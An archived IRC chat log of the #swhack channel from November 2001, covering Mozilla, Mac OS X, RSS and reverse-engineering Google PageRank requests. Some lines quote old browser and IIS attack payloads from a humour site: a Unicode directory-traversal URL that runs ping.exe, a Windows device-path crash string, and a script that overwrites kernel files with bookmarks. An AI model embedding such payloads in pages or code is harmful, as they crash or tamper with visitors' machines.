IRC log of swhack on 2001-11-20

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00:08:27 [rillian]
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00:18:51 [AaronSw]
@ http://www.mozilla.org/roadmap/mozilla-1.0.html
00:18:58 [chumpster]
A: http://www.mozilla.org/roadmap/mozilla-1.0.html from AaronSw
00:19:07 [AaronSw]
A:|Mozilla 1.0 Manifesto
00:19:08 [chumpster]
titled item A
00:20:20 [AaronSw]
A::"""People often ask "Why should Mozilla have a 1.0? Why not just keep going and let vendors pick good milestones retrospectively.?""""
00:20:21 [chumpster]
commented item A
00:20:25 [AaronSw]
A::Bram: "only mozilla would experience existentialist doubt at the prospect of actually getting to 1.0"
00:20:26 [chumpster]
commented item A
00:27:30 [AaronSw]
A::See also this [bug report|http://bugzilla.mozilla.org/mozilla-1.0/100309.html]: "mozilla1.0 party!"
00:27:31 [chumpster]
commented item A
00:28:43 [AaronSw]
A::Here's the [live version of that bug report|http://bugzilla.mozilla.org/show_bug.cgi?id=100309].
00:28:44 [chumpster]
commented item A
00:33:44 [rillian]
hi Aaron
00:35:15 [rillian]
* rillian has some sympathy with that
00:35:34 [rillian]
I mean, I think it's extremely cool that 'less' is on version 340
00:40:31 [AaronSw]
hey rillian
00:40:32 [AaronSw]
it is?
00:41:32 [AaronSw]
Hmm, seems to be on version 358
00:42:54 [AaronSw]
pretty cool
00:43:50 [rillian]
yep. macosx ships with 340
00:45:06 [AaronSw]
Must be a lot of new features since then! I guess I better upgrade. :-)
00:45:27 [rillian]
heh
00:45:36 [rillian]
it's a surprisingly complicated tool, really
00:46:00 [rillian]
I remember I found a bug once and got most of the way through patching it before we decided it was a feature
00:46:09 [AaronSw]
Heh!
00:46:18 [AaronSw]
Hmm, do they count versions by 4s?
00:46:24 [AaronSw]
that's cheating
00:47:24 [AaronSw]
If version 354 was released in March 2000 why do we have such an old version w/ macosx?
00:48:51 [rillian]
macosx is like that
00:49:01 [rillian]
I mean, have you ever looked at the cvs tree?
00:49:09 [rillian]
(i) they fork everything
00:49:19 [rillian]
(ii) there are like 3 different versions of gcc in there
00:50:00 [AaronSw]
eek
00:50:05 [AaronSw]
I've only peeked at the CVS
00:50:14 [AaronSw]
Long live fink
00:52:25 [rillian]
the build system is somewhat terrifying too
00:52:38 [rillian]
one of the reasons darwin development hasn't taken off, I think
00:54:59 [AaronSw]
Hmm.
00:57:52 [AaronSw]
It's probably a mess considering its NeXT legacy, and other stuff.
00:59:59 [rillian]
well, and they weren't very familiar with running open source projects
01:00:14 [rillian]
I guess the 'fork everything' approach is actually common in BSDland
01:00:23 [rillian]
they just don't do a very good job updating things
01:01:00 [rillian]
and I have the vague impression contributions aren't necessarily accepted for similar reasons.
01:01:50 [AaronSw]
that's too bad
01:02:10 [AaronSw]
You'd think Jordan (?) would help fix some of this, but he's probably very busy.
01:02:22 [AaronSw]
brb
01:02:25 [AaronSw]
* AaronSw disconnects
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* AaronSw reconnects
01:05:15 [rillian]
and I've no idea what they hired him for
01:05:29 [rillian]
hopefully, so he could hire more opensource-savvy folks :)
01:05:40 [rillian]
but he may be writing kernel modules or something
01:06:05 [AaronSw]
Heh.
01:06:44 [rillian]
how do you spell 'prospitious' ?
01:07:07 [AaronSw]
.spell prospitious
01:07:14 [AaronSw]
.spell
01:07:15 [xena]
usage: spell <word>
01:07:16 [xena]
- returns a list of suggestions for close spelling matches for word
01:07:19 [AaronSw]
.spell prospitious
01:07:25 [rillian]
.spell propitious
01:07:34 [xena]
potential spellings for prospitious are: propitious, prosperous, prosciuttos, perspicuous, presumptuous, precisions, presuppose, perspicacious, prosodist, prosodies, persuasions
01:07:42 [xena]
potential spellings for prospitious are: propitious, prosperous, prosciuttos, perspicuous, presumptuous, precisions, presuppose, perspicacious, prosodist, prosodies, persuasions
01:07:45 [xena]
potential spellings for propitious are: propitious, propitiously, propolis, propitiates, propitiate, preposition, provision, preputial, proposes, proposition
01:08:07 [rillian]
'propitious'
01:08:30 [AaronSw]
Hmm, a word I don't know..
01:08:40 [rillian]
AaronSw: thanks. is xena a person sometimes?
01:08:57 [AaronSw]
no prob
01:09:15 [AaronSw]
xena has a "mouth off" feature, that let other people talk thru her
01:09:30 [AaronSw]
.msg #swhack hello.
01:09:30 [xena]
hello.
01:10:18 [AaronSw]
it's a sort of unsecure anonymous irc
01:10:39 [rillian]
ah, that's always fun
01:10:44 [AaronSw]
:-)
01:10:55 [rillian]
worldforge had some great bots
01:11:07 [AaronSw]
oh, what'd they do?
01:11:20 [rillian]
their owner always claimed they just had good conversation scripts, but I supposed they were possessed at least some of the time
01:11:27 [AaronSw]
Heh.
01:11:31 [rillian]
mostly you could have great wars with them
01:11:36 [AaronSw]
_Really_ good conversational scripts...
01:11:46 [rillian]
they escalate with (described) violence and insults
01:11:51 [rillian]
and eventually kick you :)
01:11:58 [AaronSw]
Heh1
01:12:14 [rillian]
not to mention the all important flirt scripts
01:12:34 [rillian]
sadly neglected with most bots
01:12:34 [AaronSw]
Hmm, pointer to code?
01:12:41 [AaronSw]
.google flirt bot irc
01:12:42 [xena]
flirt bot irc: http://members.tripod.de/BrilliantDisguise
01:12:59 [rillian]
it was never public. they were customized eggdrops
01:13:06 [AaronSw]
Oh, too bad...
01:13:23 [AaronSw]
Are they still around?
01:15:42 [rillian]
doesn't look like it
01:15:48 [rillian]
I've not been there in over a year
01:19:48 [AaronSw]
Heh: http://riaa.cankissmyass.com/
01:27:59 [rillian]
hmm. it's funny
01:28:08 [rillian]
i've not been to wf in so long
01:28:23 [AaronSw]
and it's exactly the same? ;)
01:28:29 [rillian]
and i still recognize a bunch of the nicks
01:28:40 [rillian]
no, the drift of the coversation seems a little different
01:28:45 [rillian]
depends on who's one
01:28:47 [rillian]
on
01:29:06 [rillian]
pug and kosh used to do these comedy routines, which helped hook me on irc
01:29:17 [rillian]
too bad wit like that is so hard to find
01:31:00 [AaronSw]
ounds like the good old days
01:31:08 [AaronSw]
err sounds
01:31:51 [rillian]
indeed :)
01:32:10 [rillian]
actually, the grumbling about 3d tools is very familiar...
01:34:24 [rillian]
sometimes I think my entire online experience can be described at a search for wit
01:34:40 [rillian]
crackmonkey has helped lately, but it's not quite my style
01:35:14 [rillian]
"ENOSHEEP"
01:36:16 [AaronSw]
and windows is dying, for no apparent reason...
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01:55:26 [AaronSw]
Life is far too short for Windows
01:55:34 [AaronSw]
Crackmonkey DeCSS is pretty funny.
01:55:52 [AaronSw]
Crackmonkey was what crashed Windows, BTW. I bet that's on purpose.
01:58:20 [Morbus]
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01:58:45 [AaronSw]
Their fan mail is funny too.
01:58:48 [AaronSw]
Hey Morbus
01:59:18 [Morbus]
heyas.
01:59:24 [AaronSw]
LOL @ <TD><CENTER> <IMG SRC=" http://www/scripts/%c0%af..%c0%af..%c0%af../winnt/system32/ping.exe?/c+-t+127.0.0.1+-i+0" WIDTH=1 HEIGHT=1> <IMG SRC="C:\CLOCK$\CLOCK$" WIDTH=1 HEIGHT=1> </CENTER></TD>
01:59:30 [AaronSw]
on the crackmonkey site
01:59:44 [Morbus]
heh
02:01:16 [AaronSw]
Hmm, apparently they used to have:
02:01:19 [AaronSw]
<script>
02:01:19 [AaronSw]
window.external.ImportExportFavorites(0,"c:\\winnt\system32\\ntoskrnl.exe");
02:01:19 [AaronSw]
</script>
02:01:19 [AaronSw]
<script>
02:01:19 [AaronSw]
window.external.ImportExportFavorites(0,"c:\\winnt\system32\\krnl386.exe");
02:01:19 [AaronSw]
</script>
02:01:58 [Morbus]
on page 5 of my apache article.
02:02:35 [AaronSw]
that sentence feels like it's missing something.
02:02:46 [Morbus]
a noun, perhaps? ;)
02:02:58 [Morbus]
actually, not a noun.
02:03:02 [Morbus]
a pronoun. yeah. i think.
02:03:16 [Morbus]
nevermind <g>
02:03:19 [Morbus]
what's it missing.
02:03:29 [AaronSw]
a subject
02:03:49 [AaronSw]
what's on page5 of the article?
02:03:57 [AaronSw]
oh, you are?
02:03:57 [Morbus]
httpd -V
02:04:04 [Morbus]
yeah.
02:04:49 [kenm]
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02:04:55 [Morbus]
hey ken
02:05:06 [kenm]
hey
02:05:41 [Morbus]
oop. page 4, sorry.
02:05:52 [AaronSw]
Heh: CTCP VERSION reply from coderman: hERPES v2.6 by AaronSw - Pass it on!
02:07:43 [sbp]
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02:07:54 [AaronSw]
why it's sbp
02:08:04 [Morbus]
prolly cos that's his nickname.
02:08:08 [AaronSw]
the gang's all here, now isn't it.
02:08:18 [Morbus]
there's a gang?
02:08:24 [Morbus]
what's our favorite color?
02:08:28 [sbp]
blue
02:08:34 [Morbus]
no, it's not, its red.
02:08:47 [sbp]
I'm pretty sure it's blue. Check the charter
02:08:53 [AaronSw]
Morbus, do the secret handshake to authenticate.
02:08:58 [Morbus]
well, this gang sucks.
02:09:01 [Morbus]
um...
02:09:04 [Morbus]
pffffff?
02:09:04 [Morbus]
<g>
02:09:19 [sbp]
Morby, I got some really weird spam from you this morning. Something about 16yr olds with lots of money???
02:09:21 [AaronSw]
I hear http://stalker.google.com/ is going into beta next week.
02:09:25 [AaronSw]
sbp, LOL!
02:09:28 [Morbus]
heh...
02:09:30 [sbp]
:-)
02:09:36 [Morbus]
bastard <g>
02:10:05 [sbp]
.it - weird
02:10:21 [sbp]
have you tried contacting the ISP or anything?
02:10:27 [AaronSw]
sbp, have you visited http://crackmonkey.org/ ?
02:10:37 [Morbus]
its prolly relay rape anyways.
02:10:39 [AaronSw]
err http://www.crackmonkey.org/
02:10:59 [sbp]
I have now
02:11:17 [sbp]
why?
02:11:19 [AaronSw]
Hmm..
02:11:40 [AaronSw]
What browser are you using these days?
02:11:58 [sbp]
dunno. Take yer pick
02:11:59 [sbp]
IE6 at the moment
02:12:05 [Morbus]
* Morbus drops dead.
02:12:10 [AaronSw]
Can you tell me how http://logicerror.com/test looks in IE5?
02:12:13 [sbp]
heh: <IMG SRC=" http://www/scripts/%c0%af..%c0%af..%c0%af../winnt/system32/ping.exe?/c+-t+127.0.0.1+-i+0" WIDTH=1 HEIGHT=1> <IMG SRC="C:\CLOCK$\CLOCK$" WIDTH=1 HEIGHT=1>
02:12:19 [AaronSw]
:-)
02:12:30 [AaronSw]
I was using Windows before and it crashed the machine, it did.
02:12:50 [AaronSw]
My machine is backing up, so I had to use mIRC, bleech.
02:13:00 [AaronSw]
I hope to never use that crummy OS again.
02:13:13 [sbp]
you page asks me if I want to export some favourites thing to an exe
02:13:25 [AaronSw]
ok. don't click yes
02:13:35 [sbp]
I didn't
02:13:41 [AaronSw]
It overwrites your kernel with your bookmarks! :-)
02:13:49 [AaronSw]
I can't believe that bug is still there...
02:14:20 [AaronSw]
See http://www.crackmonkey.org/fanmail.html
02:15:34 [sbp]
heh: "Mr. Sullivan, the crackmonkey.org site makes a simple and polite request for your browser to overwrite the contents of your OS kernel with the bookmarks (favorites) file. Some browsers politely turn down the request, and some happily oblige."
02:15:42 [AaronSw]
:-)
02:16:42 [sbp]
further, "It does not contain any buffer overflows, executable stack exploits, or password discovery routines. It simply contains code that says "please overwrite your kernel with the contents of your bookmarks file". Is it my fault that your computer did so?"
02:18:37 [sbp]
of, course, if I copied my kernal into the bookmarks file...
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02:23:04 [AaronSw]
Heh: """Rick's reliable-junker Honda with the "Xena for president" and "Evil Geniuses For A Better Tomorrow" bumper stickers"""
02:23:10 [AaronSw]
I didn't know Rick Moen was a Mojo Nation fan!
02:29:35 [sbp]
[[[
02:29:36 [sbp]
How can mere code be "malicious"? By the same token this would make Legacy MICROS~1 Windows 95 positively genocidal.
02:29:41 [sbp]
]]] - http://www.crackmonkey.org/faq.html
02:30:07 [AaronSw]
Heh!
02:30:54 [GabeW]
http://www.google.com/search?q=cache:QMlFoI55T0M:www.technocrat.net/945445680+va+linux+wachob&hl=en
02:32:35 [GabeW]
my close encounter with Rick Moen
02:34:44 [AaronSw]
Heh! "side note: I've used their bathroom there and they have a life-size cardboard cutout of the Star Trek character'7 of 9' in the men's room"
02:34:53 [GabeW]
yup
02:35:04 [sbp]
heh, heh
02:35:22 [AaronSw]
I can so believe that.
02:35:25 [AaronSw]
Heh: "thank you VA Linux for being a small-town neighborhood service-oriented company with a stock price above $300 per share"
02:35:39 [GabeW]
that seems so weird in retrospect
02:35:45 [sbp]
I wonder if the Star Trek thing is connected with http://www.crackmonkey.org/faq.html#QUESTION40
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02:36:14 [AaronSw]
Wow, Rick Moen even replied to your technocrat post.
02:36:17 [GabeW]
clearly, Rick has a Trek fetish
02:36:17 [GabeW]
yeah
02:36:30 [GabeW]
I was an editor at technocrat before Bruce Perens shut it down
02:36:59 [GabeW]
my post ended up on one of the linux news sites, and apparently made the rounds at VA
02:37:06 [AaronSw]
Hmm
02:37:08 [GabeW]
I think they even sent me a t-shirt
02:37:18 [AaronSw]
Heh.
02:37:19 [AaronSw]
Heh, Star Trek slash.
02:38:17 [AaronSw]
After reading crackmonkey, I'm surprised he didn't bite your head off or somehting.
02:38:39 [AaronSw]
"In these days of free nude teen warez linux chat, it's often difficult to find good theremin music at the corner record store." How true.
02:38:56 [AaronSw]
In fact, it's hard to find good theremin music from my theremin...
02:39:06 [GabeW]
I think maybe he detected my irony
02:39:13 [sbp]
yes! You're right, y'know. We used to walk around stores for hours trying to find some good music
02:39:18 [sbp]
what used to be at http://www.ac.wwu.edu/~n9648471/design/d3.html
02:39:42 [AaronSw]
is now at http://web.archive.org/web/20001013002215/www.ac.wwu.edu/~n9648471/design/d3.html
02:40:02 [sbp]
thanks, that's what I was trying to say :-)
02:40:54 [AaronSw]
Man, I should break out the theremin again... but it's so hard to play.
02:41:12 [sbp]
I think I'm just gonna do an s/href="http:/href="http:\/\/web.archive.org\/web\/*\/http:/ on the pages in my site, and then eventually phase my server out
02:41:21 [AaronSw]
Heh!
02:41:26 [GabeW]
hehe
02:41:29 [AaronSw]
You don't need the * btw
02:41:30 [GabeW]
that'd be funny
02:41:49 [AaronSw]
I was actually going to set my server up to do a redirect if it was not the ArchiverBot.
02:41:52 [sbp]
the * looks pretty
02:42:16 [sbp]
I wonder if you can get IE/Mozilla to redirect to there on a "Not Found"?
02:42:36 [AaronSw]
I just use a Bookmarklet
02:42:39 [GabeW]
probably - doesn't it redirect to google or msn search?
02:42:41 [sbp]
let me rephrase that...
02:42:46 [sbp]
I wonder if you can get Mozilla to redirect to there on a "Not Found"?
02:42:51 [sbp]
:-)
02:42:57 [kenm]
* kenm wonders if anyone's got a spare MOSX10.1 license+software they want to send him ;)
02:42:57 [sbp]
Bookmarklet: good idea
02:43:05 [sbp]
Aaron has
02:43:19 [sbp]
Gabe: no, it just displays the error
02:43:28 [GabeW]
not in ie6
02:43:37 [GabeW]
I get redirected to google.yahoo.com
02:43:49 [GabeW]
ooh but only in case of dns problems I guess
02:45:53 [AaronSw]
LOL! http://www.crackmonkey.org/faq.html#QUESTION12
02:49:01 [sbp]
DNS problems: yeah
02:51:19 [AaronSw]
"""The *BSDs have been very supportive of Linux during this difficult time, providing Linux with [...] an open socket at the other end of the Ethernet cable when Linux was going through some kernel panics late at night trying to deal with these confusing new emotions. True, they were particularly emphatic in encouraging Linux to "come out," but there was no threat or force involved. """
03:02:16 [AaronSw]
LOL! http://www.crackmonkey.org/faq.html#QUESTION3
03:03:02 [sbp]
are you reading up the page, or something?
03:03:39 [sbp]
I like http://www.crackmonkey.org/faq.html#QUESTION8
03:05:53 [AaronSw]
I'm reading randomly
03:06:10 [sbp]
"randomly I'm reading"?
03:06:16 [sbp]
cool, that still makes sense
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03:07:25 [AaronSw]
[[[
03:07:25 [AaronSw]
[ ] Google is better, I'm supporting a competitor for political reasons
03:07:25 [AaronSw]
[ ] My Mom told me to get rid of it
03:07:25 [AaronSw]
[X] No reason -- I'm just acting at random
03:07:25 [AaronSw]
]]] - Reasons for uninstalling Google Toolbar
03:08:19 [AaronSw]
I know some people who are pretty good at RPS.
03:08:27 [sbp]
well, if you're inconsistently inconsistent, at least that proves your sanity
03:11:13 [AaronSw]
Awesome, Google Toolbar lets you see PageRank for arbitrary webpages
03:12:03 [sbp]
Could it be any more of a toolbar?
03:12:12 [sbp]
s/be/*be*.
03:12:17 [sbp]
s/./\//
03:12:38 [sbp]
"correct my correction, and then correct"
03:15:29 [AaronSw]
Netscape has 100% pagerank
03:15:45 [lilo]
[GlobalNotice] Hi all. We have at least one global software upgrade to perform on the servers, and it occurred to me this might be a good opportunity to get feedback on the best times to shut servers down and bring them back up. We don't have any sort of web poll facility set up, so if you could send email we'd appreciate it. Poll follows.
03:16:25 [sbp]
Gotta run
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03:16:36 [lilo]
[GlobalNotice] Please let us know via email to support@openprojects.net, two things: (1) what server name you use to connect to OPN, and (2) what times (including your local timezone in very plain English) are least inconvenient for you to have your server shut down. Thanks.
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03:21:52 [AaronSw]
Ooh, 1/2 way done -- at 3.5GB
04:05:09 [AaronSw]
* AaronSw reverse-engineers some Google XML...
04:05:14 [AaronSw]
Aha! You need a special cookie.
04:05:24 [deltab]
google xml?
04:06:00 [AaronSw]
Yeah.
04:06:01 [AaronSw]
It's sorta funny to be reverse-engineering HTTP GET-based XML apps
04:06:14 [AaronSw]
I'm trying to get at the PageRank data
04:06:20 [AaronSw]
turns out you need a special cookie :-(
04:06:52 [AaronSw]
Man, this is going to be a pain to type in...
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Cookie: PREF=ID=1f181ba32a110385:TB=1:TM=979180883:LM=1006225857:S=fyCJn1XV8Mw
04:08:09 [AaronSw]
Thanks AaronSw`!
04:08:13 [AaronSw`]
No prob
04:08:23 [AaronSw`]
GET /search?client=navclient-auto&ch=14023552086&q=info:http%3A%2F%2Flogicerror%2Ecom%2Ftest5674 HTTP/1.0 Content-Length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) Host: www.google.com Cookie: PREF=ID=1f181ba32a110385:TB=1:TM=979180883:LM=1006225857:S=fyCJn1XV8Mw (1) S handle_connect
04:08:25 [AaronSw`]
returns
04:08:45 [AaronSw`]
'HTTP/1.0 200 OK\015\012Date: Tue, 20 Nov 2001 04:02:03 GMT\015\012Server: GWS/1.11\015\012Connection: close\015\012Content-Type: text/xml\015\012Cache-Control: private\015\012\015\012<?xml version="1.0" encoding="ISO-8859-1" standalone="no"?>\012<!DOCTYPE GSP SYSTEM "google.dtd">\012<GSP VER="3.1">\012'
04:08:59 [AaronSw`]
'<TM>0.126042</TM><Q>info:http://logicerror.com/test5674</Q><RES SN="1" EN="1">\012<M>0</M>\012\012<R N="1"><U>http://logicerror.com/</U><T>LogicError</T><RK>5</RK><XP>1</XP><S>LogicError. a production of Aaron Swartz What is this&lt;br&gt; place? It&#39;s a place for my writings &lt;b&gt;...&lt;/b&gt; \012</S><HAS><L/><C SZ="3k"/><RT/></HAS></R>\012</RES>\012</GSP>\012'
04:09:12 [AaronSw]
great!
04:09:51 [AaronSw]
OK, so who wants to set up a data laundry for this?
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@ http://www.caida.org/analysis/topology/as_core_network/AS_Network.xml
04:58:36 [chumpster]
B: AS Internet graph - CAIDA : ANALYSIS : topology : as_core_network from AaronSw
04:59:35 [AaronSw]
B:|Pretty Internet Peering Graph
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titled item B
04:59:43 [AaronSw]
B::Here's [just the poster|http://www.caida.org/analysis/topology/as_core_network/pics/AS_Network_poster_1000x1200.gif].
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commented item B
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topic is: Step right up, get your very own MORBUS SPAM!
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Users on #swhack: logster tav kenm deltab @AaronSw BenSw oierw`
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* sbp is back in after an exhausting but interesting day
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* sbp sings "Dig A Pony"
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Gotta run
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* AaronSw waves
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howdy
19:19:53 [AaronSw]
hey there
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hi
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20:30:18 [AaronSw]
lo morbus
20:31:20 [Morbus]
hey aaron. anything exciting goig on today?
20:31:35 [AaronSw]
not that I know of... i'm working on reverse-engineering this google code
20:32:15 [AaronSw]
@ http://razor.sourceforge.net/
20:32:23 [chumpster]
C: http://razor.sourceforge.net/ from AaronSw
20:32:35 [AaronSw]
C:|Vipul's Razor -- A collaborative spam filtering network
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titled item C
20:33:02 [Morbus]
oh? what google code is that? the voting?
20:33:37 [Morbus]
c::hey, it's perl too.
20:33:49 [AaronSw]
capital C
20:33:53 [AaronSw]
no, the PageRank
20:34:03 [Morbus]
C::hey, it's perl too.
20:34:13 [chumpster]
commented item C
20:34:15 [Morbus]
man, i don't think i'm smart enough to talk to a bot with like 4 fucking fucntions.
20:34:16 [Morbus]
<g>
20:34:22 [AaronSw]
Heheh
20:35:42 [Morbus]
you really have to update rss.info.
20:35:48 [AaronSw]
i know
20:38:10 [Morbus]
heh. http://www.wilwheaton.net/greymatter/archives/00000152.php
20:39:12 [AaronSw]
Is that the SIm City guy?
20:39:25 [Morbus]
huh? no. that's will wright <g>
20:39:32 [AaronSw]
oh, close :)
20:39:33 [Morbus]
this is the guy who played wesley crusher on star trek
20:39:55 [Morbus]
my stupid apache article was getting loOOong.
20:40:06 [Morbus]
i sent it off to derrick unfinished to make sure i was on the right track/mentality.
20:40:30 [AaronSw]
Hmm
20:41:13 [Morbus]
hey, aaron, what do you feel about doing comic strips in rss?
20:41:35 [AaronSw]
i dunno, seems cool
20:41:36 [Morbus]
i was gonna do a myStrips thing in AmphetaDesk anyways, but it was gonna be non "standardish".
20:41:46 [Morbus]
it was really just gonna be a list of regular expressiosns that suck out the strips.
20:41:56 [AaronSw]
maybe just <link> to the comic IMG
20:42:10 [Morbus]
see, that wouldn't work for me though.
20:42:17 [Morbus]
i'd much rather see them actually in the feed itself.
20:42:20 [Morbus]
part of the description.
20:42:26 [Morbus]
but we could do both, i guess.
20:42:45 [AaronSw]
Gasp! Morbus advocating HTML in the description?
20:43:05 [Morbus]
advocating an image tag. and ONLY an image tag <g>
20:43:07 [AaronSw]
I was thinking you'd have a special <comic> tag so Ampheta would know to display them
20:43:16 [Morbus]
um. no :)
20:43:22 [Morbus]
there is a comicML though :)
20:43:30 [AaronSw]
that way other clients wouldn't get annoyingly large images in their descriptions
20:43:32 [AaronSw]
comicML: I know
20:43:42 [Morbus]
i don't want to add any new tags.
20:43:50 [Morbus]
i'd rather just have two diff feeds.
20:43:56 [AaronSw]
an image tag is a new tag :-)
20:44:18 [Morbus]
sigh. not really, if you take into consideration all the feeds that already use html.
20:44:32 [Morbus]
most readers support them already.
20:44:36 [AaronSw]
well, it wouldn't work w/ rss 1.0 so it's _bad_ :)
20:44:46 [Morbus]
adding a <comic> would force rewriting. no good.
20:44:49 [Morbus]
lol.
20:44:58 [AaronSw]
rewriting what?
20:45:04 [AaronSw]
oh, rewriting code
20:45:07 [AaronSw]
?
20:45:07 [Morbus]
rewriting of the client to support the tag
20:45:15 [AaronSw]
right, which I think should happen
20:45:27 [AaronSw]
I don't want, say, syndic8 knocking me over with an image the size of the entire page
20:45:35 [AaronSw]
I mean, imagine a whole User Friendly comic inside a slashbox
20:45:40 [AaronSw]
one of their sunday comics
20:45:44 [Morbus]
well, that's why there'd be two feeds.
20:45:57 [Morbus]
two feeds = immediate use, one feed = client recoding.
20:46:05 [AaronSw]
Hmm, OK
20:46:19 [Morbus]
i'm just really really sick of a lot of ...
20:46:19 [Morbus]
actually.
20:46:19 [AaronSw]
just don't blame me if the syndic8 reviewers kill you :)
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20:47:53 [MorbusIff]
i just don't want new tags. or new namespaces. or new this or that. or categories. or any of the other crap that people are claiming will make rss better.
20:48:28 [AaronSw]
wow, 2 morbusi
20:48:43 [MorbusIff]
oh. weird. i got booted from the server by trellian apparently.
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sbp, when you show up, you may appreciate this: http://cq-search.ebay.com/search/search.dll?query=simpso%2A+rolling+paper%2A&ht=1&SortProperty=MetaEndSort&st=0&skip=50
21:00:54 [Morbus]
or something.
21:04:33 [Morbus]
wow. spiffy: http://www.milov.nl/?comments=738
21:04:43 [Morbus]
works in ie6/pc. doubt macs.
21:05:50 [AaronSw]
yeah, doesn't work
21:08:28 [Morbus]
[[[
21:08:28 [Morbus]
Here’s how dumb you have to be to be me.
21:08:28 [Morbus]
I’m walking around in the kitchen making hot chocolate. I hear footsteps. What the hell?
21:08:28 [Morbus]
So I investigate, go in the living room, check the bathroom. I pause, I listen—the footsteps have stopped. I continue—there they are again!
21:08:28 [Morbus]
Of course it was me, it was my footsteps. Good grief.
21:08:30 [Morbus]
]]]
21:08:35 [Morbus]
from inessential.com
21:10:13 [AaronSw]
Heh!
21:15:05 [Morbus]
ooh. cool:
21:15:11 [Morbus]
Mac OS X 10.0: Classic Does Not Allow Use of Software Update has been updated to note that, starting in Mac OS X 10.1, you can update Classic software from the OS 9 Software Update control panel, while running Classic. You do not need to reboot in OS 9 to do this. This is good, it eliminates another reason to have to switch boot from 10 back to 9.
21:15:18 [Morbus]
http://docs.info.apple.com/article.html?artnum=106276
21:19:55 [AaronSw]
neat
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21:39:31 [Morbus]
bah. derrick hasn't yet responded.
21:39:40 [Morbus]
whatever am i gonna do tonight? <g>
21:40:23 [AaronSw]
heh
21:40:36 [Morbus]
http://www.webreference.com/js/column96/index.html
21:40:48 [Morbus]
aaah.
21:40:55 [Morbus]
i'm grabbing the 88meg stuffit file.
21:41:08 [Morbus]
of all of webreference's stuff.
21:41:14 [Morbus]
apparently, they put it on some ftp server.
21:41:14 [AaronSw]
heh
21:44:17 [Morbus]
"You can write and call Web services in almost any language: VC++, C#, VB, Java, and JavaScript. "
21:44:24 [Morbus]
um. that's an awful lot of lanaguages, there, buddy <g>
21:45:38 [AaronSw]
heh
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to you too
21:50:28 [Morbus]
kissy kiss and all.
21:50:37 [sbp]
Morby, me ol' buddy! How is ya?
21:50:42 [AaronSw]
hey sbp
21:50:50 [sbp]
Aaron, me other ol' buddy!
21:50:50 [Morbus]
i'm insanely hungry
21:50:54 [sbp]
How is ya also?
21:51:16 [sbp]
I would FedEx you a hamburger, but I don't have one
21:51:25 [AaronSw]
i'm good
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* sbp listens to TSRTS and is remarkably chipper
21:51:38 [AaronSw]
we're trying to reverse-engineer a google has in esp/google
21:51:49 [sbp]
"a google has"?
21:51:54 [AaronSw]
err hash
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checksums
21:52:06 [sbp]
MD5/SHA?
21:52:15 [AaronSw]
no, they're too short for that
21:52:27 [sbp]
what exactly are you trying to do?
21:52:34 [GabeW]
sbp - come on over and discuss
21:52:58 [sbp]
over where? And I've gotta run very soon indeed
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irc.espnow.com/google
21:53:46 [sbp]
Neat, but I'm really gonna have to run
21:54:02 [sbp]
c'ya
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21:55:36 [Morbus]
i can't connect to that espnow addy.
21:57:59 [AaronSw]
oh?
21:58:07 [Morbus]
yeah, just stalled.
21:58:09 [Morbus]
i gave up though.'
21:58:16 [AaronSw]
it's an IRC address, not a web page
21:58:21 [Morbus]
yeh, i know.
21:58:25 [AaronSw]
hmm
21:58:33 [Morbus]
my stunning powers of url parsing helped me to that deduction.
21:58:45 [AaronSw]
:-)
22:02:15 [Morbus]
hey, i got 44 referrer hits from the /writers/ portion of rss.info
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and 16 from /readers/
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heh, heh, 15 from that pornolize thing you people were playing with last week ;)
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i just got disconnected from hotline.
22:09:22 [AaronSw]
lol!
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at the pornolize
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sigh.
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great
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poo ;)
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@ http://lists.w3.org/Archives/Public/xml-uri/2000May/0316.html
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D: http://lists.w3.org/Archives/Public/xml-uri/2000May/0316.html from AaronSw
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D:|Dictionaries in the Library
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titled item D
22:43:15 [AaronSw]
Tim Berners-Lee: "I used to worry that there would be general criticism and that the SWeb would never achieve critical mass."
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aah, morbus is back
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uh huh.
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see ya everyone
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home now.
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ciao
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sbp!
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AaronSw?
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:-)
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Hi!
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* sbp plays "Train Kept-A-Rollin'", Yardbirds
23:46:10 [AaronSw]
y'missed a great chat w/ timbl
23:46:25 [sbp]
ah, damn. Where?
23:46:36 [sbp]
well, #rdfig...
23:46:52 [AaronSw]
yeah
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Grpgmprmgprmgpmrgh, my computer's crashing
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Ah, it's back
23:47:59 [AaronSw]
I had to use Windows (gasp!) for a while.
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It crashed three times.
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Luckily, looks like the backup is starting up again...
23:48:17 [sbp]
wow, you did pretty well then
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Mine's gone: won't recognize the soundcard. I'll have to reset it
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Hmm, my mouse is acting funny -- i better log out
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and come back in
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brb
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wb
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ty
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heh: "<danbri> there are some handy examples of using Cwm on Sean's site"
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* sbp bows to DanBri
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... the simpsons!
23:53:25 [sbp]
yeah :-)
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* sbp sings "Rolling on a river"
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* sbp "shining just for us..."
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* sbp is playing near-random songs
23:58:15 [AaronSw]
Heh.